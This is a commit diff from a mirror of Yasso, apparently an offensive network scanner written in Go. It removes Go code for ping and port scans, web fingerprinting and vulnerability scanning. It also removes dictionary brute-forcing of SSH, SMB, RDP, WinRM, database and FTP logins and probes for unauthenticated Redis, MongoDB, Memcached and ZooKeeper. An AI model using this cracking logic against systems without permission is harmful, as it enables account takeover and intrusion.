1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-02-12 23:06:02 +08:00

Yasso更新大改动,更新扫描方式,去除不常用功能,增加指纹和协议识别,修补bug等

This commit is contained in:
sairson
2022-05-29 09:11:07 +08:00
parent a6cd80f8e8
commit cb72f18edd
129 changed files with 16619 additions and 6278 deletions

View File

@@ -1,167 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"sync"
"time"
)
var allCmd = &cobra.Command{
Use: "all",
Short: "Use all scanner module (.attention) Some service not support proxy,You might lose it [*]",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
allRun(Hosts, Ports, JsonBool, Runtime, PingBool)
return
},
}
func init() {
allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)")
allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host")
allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service")
allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host")
allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread")
allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
allCmd.Flags().BoolVar(&JsonBool, "json", false, "Output json file")
allCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set timeout ")
rootCmd.AddCommand(allCmd)
}
func allRun(hostString string, portString string, jsonbool bool, runtime int, noping bool) {
defer func() {
fmt.Println("[Yasso] scan task is completed")
}()
var (
ips []string
ports []int
webports []int
alive []string
wg sync.WaitGroup
lock sync.Mutex
)
if hostString != "" {
ips, _ = ResolveIPS(hostString) // 解析ip并获取ip列表
}
if Ports != "" {
ports, _ = ResolvePORTS(portString)
webports, _ = ResolvePORTS(config.DisMapPorts)
} else {
ports, _ = ResolvePORTS(DefaultPorts)
webports, _ = ResolvePORTS(config.DisMapPorts)
}
if noping == true {
// 不执行ping操作
alive = ips
} else {
// 执行 ping 操作
fmt.Println("----- [Yasso] Start do ping scan -----")
alive = execute(ips, RunICMP)
}
fmt.Println("[Yasso get alive host] is", len(alive))
// 做漏洞扫描
var out []JsonOut
//TODO:
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do vuln scan -----")
VulScan(alive, false, true, false) // 做漏洞扫描
var PortResults []PortResult
if len(alive) != 0 {
fmt.Println("----- [Yasso] Start do port scan -----")
PortResults = PortScan(alive, ports)
}
if len(PortResults) != 0 && NoCrack == false {
fmt.Println("----- [Yasso] Start do crack service -----")
for _, v := range PortResults {
var one JsonOut
// 对json各式数据复制
wg.Add(1)
go func(v PortResult, one JsonOut) {
defer wg.Done()
one.Host = v.IP
one.Ports = v.Port
for _, p := range v.Port {
lock.Lock()
switch p {
case 21:
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
// add ftp "" pass
flag, _ := FtpConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "anonymous", "")
if flag == true {
if flag == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"ftp": {"anonymous": "null"}})
}
continue
}
burpTask(v.IP, "ftp", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 22:
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
burpTask(v.IP, "ssh", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 3306:
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
burpTask(v.IP, "mysql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 6379:
_, b, _ := RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"redis": {"null": "null"}})
}
users, pass := ReadTextToDic("redis", UserDic, PassDic)
burpTask(v.IP, "redis", users, pass, p, runtime, 5*time.Second, "", false, jsonbool, &one)
case 1433:
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
burpTask(v.IP, "mssql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 5432:
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
burpTask(v.IP, "postgres", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 27017:
b, _ := MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"mongodb": {"null": "null"}})
}
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
burpTask(v.IP, "mongodb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 445:
users, pass := ReadTextToDic("smb", UserDic, PassDic)
burpTask(v.IP, "smb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 5985:
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm与本地rdp认证相同
burpTask(v.IP, "winrm", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
case 11211:
//memcached 未授权
b, _ := MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"Memcached": {"null": "null"}})
}
case 2181:
//zookeeper 未授权
b, _ := ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
if b == true && jsonbool == true {
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"zookeeper": {"null": "null"}})
}
}
lock.Unlock()
}
out = append(out, one)
}(v, one)
}
wg.Wait()
}
// 做网卡扫描
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do Windows service scan -----")
winscan(alive, true)
}
fmt.Println("----- [Yasso] Start do web service scan -----")
out = DisMapScanJson(&out, webports)
}
if jsonbool == true {
Out("Yasso.json", out)
}
}

View File

@@ -1,310 +0,0 @@
package cmd
import (
"Yasso/config"
"bufio"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/projectdiscovery/cdncheck"
"github.com/spf13/cobra"
"log"
"math"
"net"
"os"
"reflect"
"strings"
"sync"
"time"
)
// 爆破模块
var BruteCmd = &cobra.Command{
Use: "crack",
Short: "crack module and extend tool",
Run: func(cmd *cobra.Command, args []string) {
cmd.DisableFlagsInUseLine = true
_ = cmd.Help()
},
}
func init() {
// 添加全局变量
BruteCmd.PersistentFlags().StringVarP(&Hosts, "hosts", "H", "", "to crack hosts address or ips.txt path (crack Must)")
BruteCmd.PersistentFlags().IntVar(&BrutePort, "port", 0, "to crack hosts port (if not set use default)")
BruteCmd.PersistentFlags().IntVar(&Runtime, "runtime", 100, "set crack thread number")
BruteCmd.PersistentFlags().BoolVarP(&BruteFlag, "crack", "", false, "make sure to use crack")
BruteCmd.PersistentFlags().DurationVar(&TimeDuration, "timeout", 1*time.Second, "crack module timeout(.eg) 1s (ns,ms,s,m,h)")
BruteCmd.PersistentFlags().StringVar(&PassDic, "pd", "", "pass dic path (.eg) pass.txt")
BruteCmd.PersistentFlags().StringVar(&UserDic, "ud", "", "user dic path (.eg) user.txt")
BruteCmd.PersistentFlags().StringVar(&ProxyHost, "proxy", "", "set socks5 proxy address")
BruteCmd.AddCommand(SshCmd)
BruteCmd.AddCommand(WinRMCmd)
BruteCmd.AddCommand(SmbCmd)
BruteCmd.AddCommand(Log4jCmd)
BruteCmd.AddCommand(RedisCmd)
BruteCmd.AddCommand(RdpCmd)
BruteCmd.AddCommand(MysqlCmd)
BruteCmd.AddCommand(MssqlCmd)
BruteCmd.AddCommand(FtpCmd)
BruteCmd.AddCommand(PostgreCmd)
BruteCmd.AddCommand(MongoCmd)
rootCmd.AddCommand(BruteCmd)
}
var BurpModule = map[string]interface{}{
"ssh": SshConnByUser,
"mysql": MySQLConn,
"mssql": MssqlConn,
"redis": RedisAuthConn,
"unredis": RedisUnAuthConn, // redis 未授权
"postgres": PostgreConn,
"smb": SmbConn,
"ftp": FtpConn,
"rdp": RdpConn,
"winrm": WinRMAuth,
"mongodb": MongoAuth,
"unmongodb": MongoUnAuth, // mongodb 未授权
}
func BurpCall(EncryptMap map[string]interface{}, name string, params ...interface{}) []reflect.Value {
f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值
if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值
log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed", name))
os.Exit(1)
}
args := make([]reflect.Value, len(params))
for k, param := range params {
if param == "" || param == 0 {
continue
}
//Println()(param)
args[k] = reflect.ValueOf(param)
}
//Println()(args)
//fmt.Println(args)
return f.Call(args) // 调用函数并返回结果
}
func SwitchBurp(service string, users []string, pass []string, hosts []string, port int, thread int, timeout time.Duration, Domain string) {
// 传入的参数均为3个
// 调用方式
var tunnel = make(chan string, 20)
var wg sync.WaitGroup
go func() {
for _, ip := range hosts {
tunnel <- ip
}
}()
for i := 0; i < len(hosts); i++ {
wg.Add(1)
_ = ants.Submit(func() {
ip := <-tunnel
burpTask(ip, service, users, pass, port, thread, timeout, Domain, true, false, nil)
wg.Done()
})
}
wg.Wait()
Println(fmt.Sprintf("[*] brute %s done", service))
//Println()(service,users,pass,hosts,port,thread,BurpModule)
}
/***
* 从新计算爆破方式之前的爆破是采用分割user进行的但是发现user数量会远少于password所以按照password进行分割
*/
func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool, jsonbool bool, out *JsonOut) {
var t int
var wg sync.WaitGroup
if len(pass) <= thread {
t = len(pass)
} else {
// 计算user数量
t = thread // 协程数量
}
num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量
// 分割用户名
all := map[int][]string{}
for i := 1; i <= t; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(pass) {
all[i] = append(all[i], pass[tmp])
}
}
}
if service == "redis" && run == true {
BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
}
if service == "mongodb" && run == true {
BurpCall(BurpModule, "unmongodb", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test")
}
//Println()(all,num,t)
for i := 1; i <= t; i++ {
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
for _, p := range tmp {
for _, u := range users {
if strings.Contains(p, "{user}") {
p = strings.ReplaceAll(p, "{user}", p)
}
if u == "" || p == "" {
continue
} else {
result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p)
burpStatus(result, service, host, Domain, u, p, jsonbool, out)
}
}
}
wg.Done()
})
}
wg.Wait()
}
func burpStatus(result []reflect.Value, service, host, domain, user, pass string, jsonbool bool, out *JsonOut) {
var lock sync.Mutex
// 这里是判断类型并返回结果的函数
if len(result) > 0 {
for _, v := range result {
switch v.Kind() {
case reflect.Bool:
if v.Bool() == true {
if domain != "" {
domain = domain + "\\"
}
if jsonbool == true {
// 加锁
lock.Lock()
out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}})
lock.Unlock()
}
Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass))
}
}
}
}
}
func Readiness(file *os.File) []string {
var readiness []string /*定义一个空切片用于存储遍历后的数据*/
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
readiness = append(readiness, text)
}
}
readiness = SplitUrlToIpList(readiness, 100)
return readiness
}
func ReadTextToDic(service, user, pass string) ([]string, []string) {
var (
userdic = config.Userdict[service]
passdic = config.Passwords
)
// 如果不包含.txt的话按照用户名和密码来算。其中
if user != "" && !strings.Contains(user, ".txt") {
userdic = strings.Split(user, ",")
}
if pass != "" && !strings.Contains(pass, ".txt") {
passdic = strings.Split(pass, ",")
}
if user != "" && strings.Contains(user, ".txt") {
userive, err := os.Open(user)
if err != nil {
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic))
return []string{}, []string{}
}
userdic = Readiness(userive)
}
if pass != "" && strings.Contains(pass, ".txt") {
passive, err := os.Open(pass)
if err != nil {
Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic))
return []string{}, []string{}
}
passdic = Readiness(passive)
}
return userdic, passdic
}
func SplitUrlToIpList(list []string, thread int) []string {
cdnClient, err := cdncheck.NewWithCache()
if err != nil {
Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err))
}
checkChan := make(chan string, 100)
var wg sync.WaitGroup
var re []string
for i := 0; i < thread; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for host := range checkChan {
ip, err := net.LookupHost(host)
if err != nil {
continue
}
if ip != nil {
for _, i := range ip {
re = append(re, i)
Println(fmt.Sprintf("[*] %v:%v", host, ip))
}
}
}
}()
}
// 判断前缀,将其添加到需要解析的列表当中
for _, domain := range list {
if strings.Contains(domain, "http://") {
domain = strings.TrimPrefix(domain, "http://")
}
if strings.Contains(domain, "https://") {
domain = strings.TrimPrefix(domain, "https://")
}
checkChan <- domain
}
close(checkChan)
wg.Wait()
re = remove(re) // 移除重复结果
// 移除cdn结果
var resp []string
for _, ip := range re {
success := cdnFilter(ip, cdnClient)
if success != "" && !strings.Contains(ip, ":") {
resp = append(resp, success)
} else {
Println(fmt.Sprintf("[*] %s has cdn", ip))
}
}
return resp
}
// cdn 过滤器
func cdnFilter(ip string, client *cdncheck.Client) string {
if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil {
return ""
}
return ip
}
// remove 移除重复结果
func remove(slc []string) []string {
var result []string
tempMap := map[string]byte{} // 存放不重复主键
for _, e := range slc {
l := len(tempMap)
tempMap[e] = 0
if len(tempMap) != l { // 加入map后map长度变化则元素不重复
result = append(result, e)
}
}
return result
}

17
cmd/cmd.go Normal file
View File

@@ -0,0 +1,17 @@
package cmd
import (
"Yasso/core/flag"
"Yasso/core/logger"
"os"
)
func Execute() {
file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666)
if err != nil {
logger.Fatal("open logger file has an error", err.Error())
return
}
defer file.Close()
flag.Execute()
}

View File

@@ -1,685 +0,0 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"math"
"regexp"
"runtime"
"strconv"
"sync"
"time"
)
func init() {
rootCmd.AddCommand(DisMapCmd)
DisMapCmd.Flags().DurationVarP(&TimeDuration, "time", "t", 1*time.Second, "Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
DisMapCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
DisMapCmd.Flags().StringVarP(&Ports, "ports", "p", "", "Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
DisMapCmd.Flags().IntVarP(&Runtime, "runtime", "r", 508, "Set scanner ants pool thread")
DisMapCmd.Flags().BoolVar(&PingBool, "ping", false, "Use ping to scan alive host")
DisMapCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it ")
}
var lock sync.Mutex
var DisMapCmd = &cobra.Command{
Use: "webscan",
Short: "Use dismap module discover Web fingerprints (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts, _ := ResolveIPS(Hosts)
var runhosts []string
if PingBool == true {
runhosts = execute(hosts, false)
} else {
runhosts = hosts
}
// 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
} else {
ports, _ = ResolvePORTS(config.DisMapPorts)
}
Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v", len(runhosts), len(runhosts)*len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
DisMapScan(runhosts, ports)
Println("[Yasso] scan Complete !")
},
}
func DisMapScan(host []string, ports []int) {
var wg sync.WaitGroup
for _, ip := range host {
wg.Add(1)
EachDisMap(ip, ports, &wg, nil)
}
wg.Wait()
}
func DisMapScanJson(in *[]JsonOut, ports []int) (out []JsonOut) {
var wg sync.WaitGroup
for _, v := range *in {
wg.Add(1)
s := EachDisMap(v.Host, ports, &wg, &v)
out = append(out, s)
}
wg.Wait()
return out
}
func EachDisMap(host string, ports []int, w *sync.WaitGroup, v *JsonOut) JsonOut {
defer w.Done()
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
} else {
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i := 1; i <= thread; i++ {
for j := 0; j < num; j++ {
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i], ports[tmp])
}
}
}
//Println(all)
for i := 1; i <= thread; i++ {
wg.Add(1)
tmp := all[i]
go func(out *JsonOut) {
defer wg.Done()
// 1,2 2,3
//Println(i,thread)
for _, port := range tmp {
// 遍历每一个端口列表
DisMapConn(host, port, v)
}
}(v)
}
wg.Wait()
return *v
}
func DisMapConn(host string, port int, out *JsonOut) bool {
url := ParseUrl(host, strconv.Itoa(port))
for _, r := range Identify(url, TimeDuration) {
if r.RespCode != "" {
lock.Lock()
out.WebHosts = append(out.WebHosts, fmt.Sprintf("%v %v %v %v", r.RespCode, r.Url, r.Result, r.Title))
Println(fmt.Sprintf("[+] %v %v %v %v", r.RespCode, r.Url, r.Result, r.Title))
lock.Unlock()
}
}
return true
}
type IdentifyResult struct {
Type string
RespCode string
Result string
ResultNc string
Url string
Title string
}
func Identify(url string, timeout time.Duration) []IdentifyResult {
var DefaultFavicon string
var CustomFavicon string
var DefaultTarget string
var CustomTarget string
var Favicon string
var RequestRule string
var RespTitle string
var RespBody string
var RespHeader string
var RespCode string
var DefaultRespTitle string
var DefaultRespBody string
var DefaultRespHeader string
var DefaultRespCode string
var CustomRespTitle string
var CustomRespBody string
var CustomRespHeader string
var CustomRespCode string
for _, resp := range DefaultRequests(url, timeout) { // Default Request
DefaultRespBody = resp.RespBody
DefaultRespHeader = resp.RespHeader
DefaultRespCode = resp.RespStatusCode
DefaultRespTitle = resp.RespTitle
DefaultTarget = resp.Url
DefaultFavicon = resp.FaviconMd5
}
// start identify
var identifyData []string
var successType string
for _, rule := range config.RuleData {
if rule.Http.ReqMethod != "" { // Custom Request Result
for _, resp := range CustomRequests(url, timeout, rule.Http.ReqMethod, rule.Http.ReqPath, rule.Http.ReqHeader, rule.Http.ReqBody) {
CustomRespBody = resp.RespBody
CustomRespHeader = resp.RespHeader
CustomRespCode = resp.RespStatusCode
CustomRespTitle = resp.RespTitle
CustomTarget = resp.Url
CustomFavicon = resp.FaviconMd5
}
url = CustomTarget
Favicon = CustomFavicon
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "or|or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
} else { // Default Request Result
url = DefaultTarget
Favicon = DefaultFavicon
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "or|or" {
